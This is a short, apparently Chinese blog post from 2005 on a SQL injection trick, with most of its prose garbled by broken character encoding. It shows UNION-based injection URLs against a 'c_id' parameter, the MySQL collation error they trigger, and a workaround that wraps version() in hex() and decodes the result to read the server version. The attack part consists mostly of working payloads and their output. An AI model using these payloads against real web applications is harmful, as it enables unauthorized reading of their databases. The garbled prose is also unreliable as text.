MySQLעʱErrorNo.1267ͻ
ߣSuperHeiʣԭ
ڣ2005-10-18
Ըվʱ
url?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
ش
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
unionѯǰַhttp://dev.mysql.com/doc/mysql/en/Charset-collation-charset.htmlֵͬġ
취תΪhex
url?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
ɹõhex(version())ֵΪ
342E312E332D62657461
Mysqlѯµõ
mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)
ҳ:
[1]